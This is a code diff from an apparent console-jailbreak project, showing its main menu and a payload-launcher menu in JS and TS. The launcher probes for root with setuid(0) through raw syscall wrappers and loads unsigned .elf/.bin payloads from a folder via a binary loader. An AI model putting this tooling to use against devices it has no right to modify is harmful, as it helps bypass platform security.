||||
if (keyCode === 6 || keyCode === 5) {
|
||||
currentButton = (currentButton + 1) % buttons.length
|
||||
updateHighlight()
|
||||
} else if (keyCode === 4 || keyCode === 7) {
|
||||
currentButton = (currentButton - 1 + buttons.length) % buttons.length
|
||||
updateHighlight()
|
||||
} else if (keyCode === 14) {
|
||||
handleButtonPress()
|
||||
}
|
||||
}
|
||||
|
||||
updateHighlight()
|
||||
|
||||
log(lang.mainMenuLoaded)
|
||||
})()
|
||||
@@ -0,0 +1,305 @@
|
||||
import { lang } from 'download0/languages'
|
||||
import { libc_addr } from 'download0/userland'
|
||||
import { fn, BigInt } from 'download0/types'
|
||||
|
||||
(function () {
|
||||
include('languages.js')
|
||||
log(lang.loadingMainMenu)
|
||||
|
||||
let currentButton = 0
|
||||
const buttons: Image[] = []
|
||||
const buttonTexts: jsmaf.Text[] = []
|
||||
const buttonMarkers: Image[] = []
|
||||
const buttonOrigPos: { x: number, y: number }[] = []
|
||||
const textOrigPos: { x: number, y: number }[] = []
|
||||
|
||||
const normalButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
const selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
|
||||
jsmaf.root.children.length = 0
|
||||
|
||||
new Style({ name: 'white', color: 'white', size: 24 })
|
||||
new Style({ name: 'title', color: 'white', size: 32 })
|
||||
|
||||
const audio = new jsmaf.AudioClip()
|
||||
audio.volume = 0.5 // 50% volume
|
||||
audio.open('file://../download0/sfx/bgm.wav')
|
||||
|
||||
const background = new Image({
|
||||
url: 'file:///../download0/img/multiview_bg_VAF.png',
|
||||
x: 0,
|
||||
y: 0,
|
||||
width: 1920,
|
||||
height: 1080
|
||||
})
|
||||
jsmaf.root.children.push(background)
|
||||
|
||||
const centerX = 960
|
||||
const logoWidth = 600
|
||||
const logoHeight = 338
|
||||
|
||||
const logo = new Image({
|
||||
url: 'file:///../download0/img/logo.png',
|
||||
x: centerX - logoWidth / 2,
|
||||
y: 50,
|
||||
width: logoWidth,
|
||||
height: logoHeight
|
||||
})
|
||||
jsmaf.root.children.push(logo)
|
||||
|
||||
const menuOptions = [
|
||||
{ label: lang.jailbreak, script: 'loader.js', textImg: 'jailbreak_btn_txt.png' },
|
||||
{ label: lang.payloadMenu, script: 'payload_host.js', textImg: 'pl_menu_btn_txt.png' },
|
||||
{ label: lang.config, script: 'config_ui.js', textImg: 'config_btn_txt.png' }
|
||||
]
|
||||
|
||||
const startY = 450
|
||||
const buttonSpacing = 120
|
||||
const buttonWidth = 400
|
||||
const buttonHeight = 80
|
||||
|
||||
for (let i = 0; i < menuOptions.length; i++) {
|
||||
const btnX = centerX - buttonWidth / 2
|
||||
const btnY = startY + i * buttonSpacing
|
||||
|
||||
const button = new Image({
|
||||
url: normalButtonImg,
|
||||
x: btnX,
|
||||
y: btnY,
|
||||
width: buttonWidth,
|
||||
height: buttonHeight
|
||||
})
|
||||
buttons.push(button)
|
||||
jsmaf.root.children.push(button)
|
||||
|
||||
const marker = new Image({
|
||||
url: 'file:///assets/img/ad_pod_marker.png',
|
||||
x: btnX + buttonWidth - 50,
|
||||
y: btnY + 35,
|
||||
width: 12,
|
||||
height: 12,
|
||||
visible: false
|
||||
})
|
||||
buttonMarkers.push(marker)
|
||||
jsmaf.root.children.push(marker)
|
||||
|
||||
const btnText = new jsmaf.Text()
|
||||
btnText.text = menuOptions[i]!.label
|
||||
btnText.x = btnX + buttonWidth / 2 - 60
|
||||
btnText.y = btnY + buttonHeight / 2 - 12
|
||||
btnText.style = 'white'
|
||||
buttonTexts.push(btnText)
|
||||
jsmaf.root.children.push(btnText)
|
||||
|
||||
buttonOrigPos.push({ x: btnX, y: btnY })
|
||||
textOrigPos.push({ x: btnText.x, y: btnText.y })
|
||||
}
|
||||
|
||||
const exitX = centerX - buttonWidth / 2
|
||||
const exitY = startY + menuOptions.length * buttonSpacing + 100
|
||||
|
||||
const exitButton = new Image({
|
||||
url: normalButtonImg,
|
||||
x: exitX,
|
||||
y: exitY,
|
||||
width: buttonWidth,
|
||||
height: buttonHeight
|
||||
})
|
||||
buttons.push(exitButton)
|
||||
jsmaf.root.children.push(exitButton)
|
||||
|
||||
const exitMarker = new Image({
|
||||
url: 'file:///assets/img/ad_pod_marker.png',
|
||||
x: exitX + buttonWidth - 50,
|
||||
y: exitY + 35,
|
||||
width: 12,
|
||||
height: 12,
|
||||
visible: false
|
||||
})
|
||||
buttonMarkers.push(exitMarker)
|
||||
jsmaf.root.children.push(exitMarker)
|
||||
|
||||
const exitText = new jsmaf.Text()
|
||||
exitText.text = lang.exit
|
||||
exitText.x = exitX + buttonWidth / 2 - 20
|
||||
exitText.y = exitY + buttonHeight / 2 - 12
|
||||
exitText.style = 'white'
|
||||
buttonTexts.push(exitText)
|
||||
jsmaf.root.children.push(exitText)
|
||||
|
||||
buttonOrigPos.push({ x: exitX, y: exitY })
|
||||
textOrigPos.push({ x: exitText.x, y: exitText.y })
|
||||
|
||||
let zoomInInterval: number | null = null
|
||||
let zoomOutInterval: number | null = null
|
||||
let prevButton = -1
|
||||
|
||||
function easeInOut (t: number) {
|
||||
return (1 - Math.cos(t * Math.PI)) / 2
|
||||
}
|
||||
|
||||
function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
|
||||
const btnW = buttonWidth
|
||||
const btnH = buttonHeight
|
||||
const startScale = btn.scaleX || 1.0
|
||||
const endScale = 1.1
|
||||
const duration = 175
|
||||
let elapsed = 0
|
||||
const step = 16
|
||||
|
||||
zoomInInterval = jsmaf.setInterval(function () {
|
||||
elapsed += step
|
||||
const t = Math.min(elapsed / duration, 1)
|
||||
const eased = easeInOut(t)
|
||||
const scale = startScale + (endScale - startScale) * eased
|
||||
|
||||
btn.scaleX = scale
|
||||
btn.scaleY = scale
|
||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||
text.scaleX = scale
|
||||
text.scaleY = scale
|
||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||
|
||||
if (t >= 1 && zoomInInterval) {
|
||||
jsmaf.clearInterval(zoomInInterval)
|
||||
zoomInInterval = null
|
||||
}
|
||||
}, step)
|
||||
}
|
||||
|
||||
function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
|
||||
const btnW = buttonWidth
|
||||
const btnH = buttonHeight
|
||||
const startScale = btn.scaleX || 1.1
|
||||
const endScale = 1.0
|
||||
const duration = 175
|
||||
let elapsed = 0
|
||||
const step = 16
|
||||
|
||||
zoomOutInterval = jsmaf.setInterval(function () {
|
||||
elapsed += step
|
||||
const t = Math.min(elapsed / duration, 1)
|
||||
const eased = easeInOut(t)
|
||||
const scale = startScale + (endScale - startScale) * eased
|
||||
|
||||
btn.scaleX = scale
|
||||
btn.scaleY = scale
|
||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||
text.scaleX = scale
|
||||
text.scaleY = scale
|
||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||
|
||||
if (t >= 1 && zoomOutInterval) {
|
||||
jsmaf.clearInterval(zoomOutInterval)
|
||||
zoomOutInterval = null
|
||||
}
|
||||
}, step)
|
||||
}
|
||||
|
||||
function updateHighlight () {
|
||||
// Animate out the previous button
|
||||
const prevButtonObj = buttons[prevButton]
|
||||
const buttonMarker = buttonMarkers[prevButton]
|
||||
if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj && buttonMarker) {
|
||||
prevButtonObj.url = normalButtonImg
|
||||
prevButtonObj.alpha = 0.7
|
||||
prevButtonObj.borderColor = 'transparent'
|
||||
prevButtonObj.borderWidth = 0
|
||||
buttonMarker.visible = false
|
||||
animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y)
|
||||
}
|
||||
|
||||
// Set styles for all buttons
|
||||
for (let i = 0; i < buttons.length; i++) {
|
||||
const button = buttons[i]
|
||||
const buttonMarker = buttonMarkers[i]
|
||||
const buttonText = buttonTexts[i]
|
||||
const buttonOrigPos_ = buttonOrigPos[i]
|
||||
const textOrigPos_ = textOrigPos[i]
|
||||
if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined || buttonMarker === undefined) continue
|
||||
if (i === currentButton) {
|
||||
button.url = selectedButtonImg
|
||||
button.alpha = 1.0
|
||||
button.borderColor = 'rgb(100,180,255)'
|
||||
button.borderWidth = 3
|
||||
buttonMarker.visible = true
|
||||
animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y)
|
||||
} else if (i !== prevButton) {
|
||||
button.url = normalButtonImg
|
||||
button.alpha = 0.7
|
||||
button.borderColor = 'transparent'
|
||||
button.borderWidth = 0
|
||||
button.scaleX = 1.0
|
||||
button.scaleY = 1.0
|
||||
button.x = buttonOrigPos_.x
|
||||
button.y = buttonOrigPos_.y
|
||||
buttonText.scaleX = 1.0
|
||||
buttonText.scaleY = 1.0
|
||||
buttonText.x = textOrigPos_.x
|
||||
buttonText.y = textOrigPos_.y
|
||||
buttonMarker.visible = false
|
||||
}
|
||||
}
|
||||
|
||||
prevButton = currentButton
|
||||
}
|
||||
|
||||
function handleButtonPress () {
|
||||
if (currentButton === buttons.length - 1) {
|
||||
log('Exiting application...')
|
||||
try {
|
||||
if (typeof libc_addr === 'undefined') {
|
||||
log('Loading userland.js...')
|
||||
include('userland.js')
|
||||
}
|
||||
|
||||
fn.register(0x14, 'getpid', [], 'bigint')
|
||||
fn.register(0x25, 'kill', ['bigint', 'bigint'], 'bigint')
|
||||
|
||||
const pid = fn.getpid()
|
||||
const pid_num = (pid instanceof BigInt) ? pid.lo : pid
|
||||
log('Current PID: ' + pid_num)
|
||||
log('Sending SIGKILL to PID ' + pid_num)
|
||||
|
||||
fn.kill(pid, new BigInt(0, 9))
|
||||
} catch (e) {
|
||||
log('ERROR during exit: ' + (e as Error).message)
|
||||
if ((e as Error).stack) log((e as Error).stack!)
|
||||
}
|
||||
|
||||
jsmaf.exit()
|
||||
} else if (currentButton < menuOptions.length) {
|
||||
const selectedOption = menuOptions[currentButton]
|
||||
if (!selectedOption) return
|
||||
log('Loading ' + selectedOption.script + '...')
|
||||
try {
|
||||
include(selectedOption.script)
|
||||
} catch (e) {
|
||||
log('ERROR loading ' + selectedOption.script + ': ' + (e as Error).message)
|
||||
if ((e as Error).stack) log((e as Error).stack!)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
jsmaf.onKeyDown = function (keyCode) {
|
||||
if (keyCode === 6 || keyCode === 5) {
|
||||
currentButton = (currentButton + 1) % buttons.length
|
||||
updateHighlight()
|
||||
} else if (keyCode === 4 || keyCode === 7) {
|
||||
currentButton = (currentButton - 1 + buttons.length) % buttons.length
|
||||
updateHighlight()
|
||||
} else if (keyCode === 14) {
|
||||
handleButtonPress()
|
||||
}
|
||||
}
|
||||
|
||||
updateHighlight()
|
||||
|
||||
log(lang.mainMenuLoaded)
|
||||
})()
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,471 +0,0 @@
|
||||
(function () {
|
||||
if (typeof libc_addr === 'undefined') {
|
||||
log('Loading userland.js...')
|
||||
include('userland.js')
|
||||
log('userland.js loaded')
|
||||
} else {
|
||||
log('userland.js already loaded (libc_addr defined)')
|
||||
}
|
||||
|
||||
var audio = new jsmaf.AudioClip()
|
||||
audio.volume = 0.5 // 50% volume
|
||||
audio.open('file://../download0/sfx/bgm.wav')
|
||||
|
||||
function isJailbroken () {
|
||||
try { fn.register(24, 'getuid', 'bigint') } catch (e) {}
|
||||
try { fn.register(23, 'setuid', 'bigint') } catch (e) {}
|
||||
|
||||
var uid_before = fn.getuid()
|
||||
var uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
|
||||
log('UID before setuid: ' + uid_before_val)
|
||||
|
||||
log('Attempting setuid(0)...')
|
||||
var setuid_success = false
|
||||
var error_msg = null
|
||||
|
||||
try {
|
||||
var setuid_result = fn.setuid(0)
|
||||
var setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
|
||||
log('setuid returned: ' + setuid_ret)
|
||||
setuid_success = (setuid_ret === 0)
|
||||
} catch (e) {
|
||||
error_msg = e.toString()
|
||||
log('setuid threw exception: ' + error_msg)
|
||||
}
|
||||
|
||||
var uid_after = fn.getuid()
|
||||
var uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
|
||||
log('UID after setuid: ' + uid_after_val)
|
||||
|
||||
if (uid_after_val === 0) {
|
||||
log('Already jailbroken')
|
||||
return true
|
||||
} else {
|
||||
log('Not jailbroken')
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
is_jailbroken = isJailbroken()
|
||||
|
||||
jsmaf.root.children.length = 0
|
||||
|
||||
new Style({name: 'white', color: 'white', size: 24})
|
||||
new Style({name: 'title', color: 'white', size: 32})
|
||||
|
||||
var currentButton = 0
|
||||
var buttons = []
|
||||
var buttonTexts = []
|
||||
var buttonMarkers = []
|
||||
var buttonOrigPos = []
|
||||
var textOrigPos = []
|
||||
var fileList = []
|
||||
|
||||
var normalButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
var selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
|
||||
var background = new Image({
|
||||
url: 'file:///../download0/img/multiview_bg_VAF.png',
|
||||
x: 0,
|
||||
y: 0,
|
||||
width: 1920,
|
||||
height: 1080
|
||||
})
|
||||
jsmaf.root.children.push(background)
|
||||
|
||||
var logo = new Image({
|
||||
url: 'file:///../download0/img/logo.png',
|
||||
x: 1620,
|
||||
y: 0,
|
||||
width: 300,
|
||||
height: 169
|
||||
})
|
||||
jsmaf.root.children.push(logo)
|
||||
|
||||
var title = new jsmaf.Text()
|
||||
title.text = 'Payload Menu'
|
||||
title.x = 860
|
||||
title.y = 120
|
||||
title.style = 'title'
|
||||
jsmaf.root.children.push(title)
|
||||
|
||||
if (typeof fn !== 'undefined') {
|
||||
if (!fn.open_sys) fn.register(0x05, 'open_sys', 'bigint')
|
||||
if (!fn.close_sys) fn.register(0x06, 'close_sys', 'bigint')
|
||||
if (!fn.getdents) fn.register(0x110, 'getdents', 'bigint')
|
||||
}
|
||||
|
||||
log('Scanning /download0/payloads for files...')
|
||||
if (typeof fn !== 'undefined' && fn.getdents) {
|
||||
var path_addr = mem.malloc(256)
|
||||
for (var i = 0; i < '/download0/payloads'.length; i++) {
|
||||
mem.view(path_addr).setUint8(i, '/download0/payloads'.charCodeAt(i))
|
||||
}
|
||||
mem.view(path_addr).setUint8('/download0/payloads'.length, 0)
|
||||
|
||||
var fd = fn.open_sys(path_addr, new BigInt(0, 0), new BigInt(0, 0))
|
||||
log('open_sys returned: ' + fd.toString())
|
||||
|
||||
if (!fd.eq(new BigInt(0xffffffff, 0xffffffff))) {
|
||||
var buf = mem.malloc(4096)
|
||||
var count = fn.getdents(fd, buf, new BigInt(0, 4096))
|
||||
log('getdents returned: ' + count.toString() + ' bytes')
|
||||
|
||||
if (!count.eq(new BigInt(0xffffffff, 0xffffffff)) && count.lo > 0) {
|
||||
var offset = 0
|
||||
while (offset < count.lo) {
|
||||
var d_reclen = mem.view(buf.add(new BigInt(0, offset + 4))).getUint16(0, true)
|
||||
var d_type = mem.view(buf.add(new BigInt(0, offset + 6))).getUint8(0)
|
||||
var d_namlen = mem.view(buf.add(new BigInt(0, offset + 7))).getUint8(0)
|
||||
|
||||
var name = ''
|
||||
for (var i = 0; i < d_namlen; i++) {
|
||||
name += String.fromCharCode(mem.view(buf.add(new BigInt(0, offset + 8 + i))).getUint8(0))
|
||||
}
|
||||
|
||||
log('Entry: ' + name + ' type=' + d_type + ' namlen=' + d_namlen)
|
||||
|
||||
if (d_type === 8 && name !== '.' && name !== '..') {
|
||||
var lowerName = name.toLowerCase()
|
||||
if (lowerName.endsWith('.elf') || lowerName.endsWith('.bin') || lowerName.endsWith('.js')) {
|
||||
fileList.push(name)
|
||||
log('Added file: ' + name)
|
||||
}
|
||||
}
|
||||
|
||||
offset += d_reclen
|
||||
}
|
||||
}
|
||||
fn.close_sys(fd)
|
||||
} else {
|
||||
log('Failed to open /download0/payloads')
|
||||
}
|
||||
}
|
||||
|
||||
log('Total files found: ' + fileList.length)
|
||||
|
||||
var startY = 200
|
||||
var buttonSpacing = 90
|
||||
var buttonsPerRow = 5
|
||||
var buttonWidth = 300
|
||||
var buttonHeight = 80
|
||||
var startX = 130
|
||||
var xSpacing = 340
|
||||
|
||||
for (var i = 0; i < fileList.length; i++) {
|
||||
var row = Math.floor(i / buttonsPerRow)
|
||||
var col = i % buttonsPerRow
|
||||
|
||||
var btnX = startX + col * xSpacing
|
||||
var btnY = startY + row * buttonSpacing
|
||||
|
||||
var button = new Image({
|
||||
url: normalButtonImg,
|
||||
x: btnX,
|
||||
y: btnY,
|
||||
width: buttonWidth,
|
||||
height: buttonHeight
|
||||
})
|
||||
buttons.push(button)
|
||||
jsmaf.root.children.push(button)
|
||||
|
||||
var marker = new Image({
|
||||
url: 'file:///assets/img/ad_pod_marker.png',
|
||||
x: btnX + buttonWidth - 50,
|
||||
y: btnY + 35,
|
||||
width: 12,
|
||||
height: 12,
|
||||
visible: false
|
||||
})
|
||||
buttonMarkers.push(marker)
|
||||
jsmaf.root.children.push(marker)
|
||||
|
||||
var displayName = fileList[i]
|
||||
if (displayName.length > 20) {
|
||||
displayName = displayName.substring(0, 17) + '...'
|
||||
}
|
||||
|
||||
var text = new jsmaf.Text()
|
||||
text.text = displayName
|
||||
text.x = btnX + 20
|
||||
text.y = btnY + 30
|
||||
text.style = 'white'
|
||||
buttonTexts.push(text)
|
||||
jsmaf.root.children.push(text)
|
||||
|
||||
buttonOrigPos.push({x: btnX, y: btnY})
|
||||
textOrigPos.push({x: text.x, y: text.y})
|
||||
}
|
||||
|
||||
var exitX = 810
|
||||
var exitY = 980
|
||||
|
||||
var exitButton = new Image({
|
||||
url: normalButtonImg,
|
||||
x: exitX,
|
||||
y: exitY,
|
||||
width: buttonWidth,
|
||||
height: buttonHeight
|
||||
})
|
||||
buttons.push(exitButton)
|
||||
jsmaf.root.children.push(exitButton)
|
||||
|
||||
var exitMarker = new Image({
|
||||
url: 'file:///assets/img/ad_pod_marker.png',
|
||||
x: exitX + buttonWidth - 50,
|
||||
y: exitY + 35,
|
||||
width: 12,
|
||||
height: 12,
|
||||
visible: false
|
||||
})
|
||||
buttonMarkers.push(exitMarker)
|
||||
jsmaf.root.children.push(exitMarker)
|
||||
|
||||
var exitText = new jsmaf.Text()
|
||||
exitText.text = 'Back'
|
||||
exitText.x = exitX + buttonWidth / 2 - 20
|
||||
exitText.y = exitY + buttonHeight / 2 - 12
|
||||
exitText.style = 'white'
|
||||
buttonTexts.push(exitText)
|
||||
jsmaf.root.children.push(exitText)
|
||||
|
||||
buttonOrigPos.push({x: exitX, y: exitY})
|
||||
textOrigPos.push({x: exitText.x, y: exitText.y})
|
||||
|
||||
var zoomInInterval = null
|
||||
var zoomOutInterval = null
|
||||
var prevButton = -1
|
||||
|
||||
function easeInOut (t) {
|
||||
return (1 - Math.cos(t * Math.PI)) / 2
|
||||
}
|
||||
|
||||
function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
||||
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
|
||||
var btnW = buttonWidth
|
||||
var btnH = buttonHeight
|
||||
var startScale = btn.scaleX || 1.0
|
||||
var endScale = 1.1
|
||||
var duration = 175
|
||||
var elapsed = 0
|
||||
var step = 16
|
||||
|
||||
zoomInInterval = jsmaf.setInterval(function () {
|
||||
elapsed += step
|
||||
var t = Math.min(elapsed / duration, 1)
|
||||
var eased = easeInOut(t)
|
||||
var scale = startScale + (endScale - startScale) * eased
|
||||
|
||||
btn.scaleX = scale
|
||||
btn.scaleY = scale
|
||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||
text.scaleX = scale
|
||||
text.scaleY = scale
|
||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||
|
||||
if (t >= 1) {
|
||||
jsmaf.clearInterval(zoomInInterval)
|
||||
zoomInInterval = null
|
||||
}
|
||||
}, step)
|
||||
}
|
||||
|
||||
function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
||||
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
|
||||
var btnW = buttonWidth
|
||||
var btnH = buttonHeight
|
||||
var startScale = btn.scaleX || 1.1
|
||||
var endScale = 1.0
|
||||
var duration = 175
|
||||
var elapsed = 0
|
||||
var step = 16
|
||||
|
||||
zoomOutInterval = jsmaf.setInterval(function () {
|
||||
elapsed += step
|
||||
var t = Math.min(elapsed / duration, 1)
|
||||
var eased = easeInOut(t)
|
||||
var scale = startScale + (endScale - startScale) * eased
|
||||
|
||||
btn.scaleX = scale
|
||||
btn.scaleY = scale
|
||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||
text.scaleX = scale
|
||||
text.scaleY = scale
|
||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||
|
||||
if (t >= 1) {
|
||||
jsmaf.clearInterval(zoomOutInterval)
|
||||
zoomOutInterval = null
|
||||
}
|
||||
}, step)
|
||||
}
|
||||
|
||||
function updateHighlight () {
|
||||
// Animate out the previous button
|
||||
if (prevButton >= 0 && prevButton !== currentButton) {
|
||||
buttons[prevButton].url = normalButtonImg
|
||||
buttons[prevButton].alpha = 0.7
|
||||
buttons[prevButton].borderWidth = 0
|
||||
buttonTexts[prevButton].alpha = 0.8
|
||||
buttonMarkers[prevButton].visible = false
|
||||
animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y)
|
||||
}
|
||||
|
||||
// Set styles for all buttons
|
||||
for (var i = 0; i < buttons.length; i++) {
|
||||
if (i === currentButton) {
|
||||
buttons[i].url = selectedButtonImg
|
||||
buttons[i].alpha = 1.0
|
||||
buttons[i].borderColor = 'rgb(100,180,255)'
|
||||
buttons[i].borderWidth = 3
|
||||
buttonTexts[i].alpha = 1.0
|
||||
buttonMarkers[i].visible = true
|
||||
animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y)
|
||||
} else if (i !== prevButton) {
|
||||
buttons[i].url = normalButtonImg
|
||||
buttons[i].alpha = 0.7
|
||||
buttons[i].borderWidth = 0
|
||||
buttons[i].scaleX = 1.0
|
||||
buttons[i].scaleY = 1.0
|
||||
buttons[i].x = buttonOrigPos[i].x
|
||||
buttons[i].y = buttonOrigPos[i].y
|
||||
buttonTexts[i].scaleX = 1.0
|
||||
buttonTexts[i].scaleY = 1.0
|
||||
buttonTexts[i].x = textOrigPos[i].x
|
||||
buttonTexts[i].y = textOrigPos[i].y
|
||||
buttonTexts[i].alpha = 0.8
|
||||
buttonMarkers[i].visible = false
|
||||
}
|
||||
}
|
||||
|
||||
prevButton = currentButton
|
||||
log('Selected button: ' + currentButton)
|
||||
}
|
||||
|
||||
jsmaf.onKeyDown = function (keyCode) {
|
||||
log('Key pressed: ' + keyCode)
|
||||
|
||||
var fileButtonCount = fileList.length
|
||||
var exitButtonIndex = buttons.length - 1
|
||||
|
||||
if (keyCode === 6) {
|
||||
if (currentButton === exitButtonIndex) {
|
||||
return
|
||||
}
|
||||
var nextButton = currentButton + buttonsPerRow
|
||||
if (nextButton >= fileButtonCount) {
|
||||
currentButton = exitButtonIndex
|
||||
} else {
|
||||
currentButton = nextButton
|
||||
}
|
||||
updateHighlight()
|
||||
} else if (keyCode === 4) {
|
||||
if (currentButton === exitButtonIndex) {
|
||||
var lastRow = Math.floor((fileButtonCount - 1) / buttonsPerRow)
|
||||
var firstInLastRow = lastRow * buttonsPerRow
|
||||
var col = 0
|
||||
if (fileButtonCount > 0) {
|
||||
col = Math.min(buttonsPerRow - 1, (fileButtonCount - 1) % buttonsPerRow)
|
||||
}
|
||||
currentButton = Math.min(firstInLastRow + col, fileButtonCount - 1)
|
||||
} else {
|
||||
var nextButton = currentButton - buttonsPerRow
|
||||
if (nextButton >= 0) {
|
||||
currentButton = nextButton
|
||||
}
|
||||
}
|
||||
updateHighlight()
|
||||
} else if (keyCode === 5) {
|
||||
if (currentButton === exitButtonIndex) {
|
||||
return
|
||||
}
|
||||
var row = Math.floor(currentButton / buttonsPerRow)
|
||||
var col = currentButton % buttonsPerRow
|
||||
if (col < buttonsPerRow - 1) {
|
||||
var nextButton = currentButton + 1
|
||||
if (nextButton < fileButtonCount) {
|
||||
currentButton = nextButton
|
||||
}
|
||||
}
|
||||
updateHighlight()
|
||||
} else if (keyCode === 7) {
|
||||
if (currentButton === exitButtonIndex) {
|
||||
currentButton = fileButtonCount - 1
|
||||
} else {
|
||||
var col = currentButton % buttonsPerRow
|
||||
if (col > 0) {
|
||||
currentButton = currentButton - 1
|
||||
}
|
||||
}
|
||||
updateHighlight()
|
||||
} else if (keyCode === 14) {
|
||||
handleButtonPress()
|
||||
} else if (keyCode === 13) {
|
||||
log('Going back to main menu...')
|
||||
try {
|
||||
include('main-menu.js')
|
||||
} catch (e) {
|
||||
log('ERROR loading main-menu.js: ' + e.message)
|
||||
if (e.stack) log(e.stack)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function handleButtonPress () {
|
||||
if (currentButton === buttons.length - 1) {
|
||||
log('Going back to main menu...')
|
||||
try {
|
||||
include('main-menu.js')
|
||||
} catch (e) {
|
||||
log('ERROR loading main-menu.js: ' + e.message)
|
||||
if (e.stack) log(e.stack)
|
||||
}
|
||||
} else if (currentButton < fileList.length) {
|
||||
var selectedFile = fileList[currentButton]
|
||||
var filePath = '/download0/payloads/' + selectedFile
|
||||
|
||||
log('Selected: ' + selectedFile)
|
||||
|
||||
try {
|
||||
if (selectedFile.toLowerCase().endsWith('.js')) {
|
||||
log('Including JavaScript file: ' + selectedFile)
|
||||
include('payloads/' + selectedFile)
|
||||
} else {
|
||||
log('Loading binloader.js...')
|
||||
include('binloader.js')
|
||||
log('binloader.js loaded successfully')
|
||||
|
||||
log('Initializing binloader...')
|
||||
if (typeof binloader_init === 'function') {
|
||||
binloader_init()
|
||||
} else {
|
||||
log('ERROR: binloader_init not defined')
|
||||
return
|
||||
}
|
||||
|
||||
log('Loading payload from: ' + filePath)
|
||||
|
||||
if (typeof bl_load_from_file === 'function') {
|
||||
bl_load_from_file(filePath)
|
||||
} else {
|
||||
log('ERROR: bl_load_from_file not defined')
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
log('ERROR: ' + e.message)
|
||||
if (e.stack) log(e.stack)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
updateHighlight()
|
||||
|
||||
log('Interactive UI loaded!')
|
||||
log('Total elements: ' + jsmaf.root.children.length)
|
||||
log('Buttons: ' + buttons.length)
|
||||
log('Use arrow keys to navigate, Enter/X to select')
|
||||
})()
|
||||
@@ -0,0 +1,471 @@
|
||||
import { fn, mem, BigInt } from 'download0/types'
|
||||
import { binloader_init } from 'download0/binloader'
|
||||
import { libc_addr } from 'download0/userland'
|
||||
|
||||
(function () {
|
||||
if (typeof libc_addr === 'undefined') {
|
||||
log('Loading userland.js...')
|
||||
include('userland.js')
|
||||
log('userland.js loaded')
|
||||
} else {
|
||||
log('userland.js already loaded (libc_addr defined)')
|
||||
}
|
||||
|
||||
const audio = new jsmaf.AudioClip()
|
||||
audio.volume = 0.5 // 50% volume
|
||||
audio.open('file://../download0/sfx/bgm.wav')
|
||||
|
||||
function isJailbroken () {
|
||||
fn.register(24, 'getuid', [], 'bigint')
|
||||
fn.register(23, 'setuid', ['number'], 'bigint')
|
||||
|
||||
const uid_before = fn.getuid()
|
||||
const uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
|
||||
log('UID before setuid: ' + uid_before_val)
|
||||
|
||||
log('Attempting setuid(0)...')
|
||||
|
||||
try {
|
||||
const setuid_result = fn.setuid(0)
|
||||
const setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
|
||||
log('setuid returned: ' + setuid_ret)
|
||||
} catch (e) {
|
||||
const error_msg = (e as Error).toString()
|
||||
log('setuid threw exception: ' + error_msg)
|
||||
}
|
||||
|
||||
const uid_after = fn.getuid()
|
||||
const uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
|
||||
log('UID after setuid: ' + uid_after_val)
|
||||
|
||||
if (uid_after_val === 0) {
|
||||
log('Already jailbroken')
|
||||
return true
|
||||
} else {
|
||||
log('Not jailbroken')
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
is_jailbroken = isJailbroken()
|
||||
|
||||
jsmaf.root.children.length = 0
|
||||
|
||||
new Style({ name: 'white', color: 'white', size: 24 })
|
||||
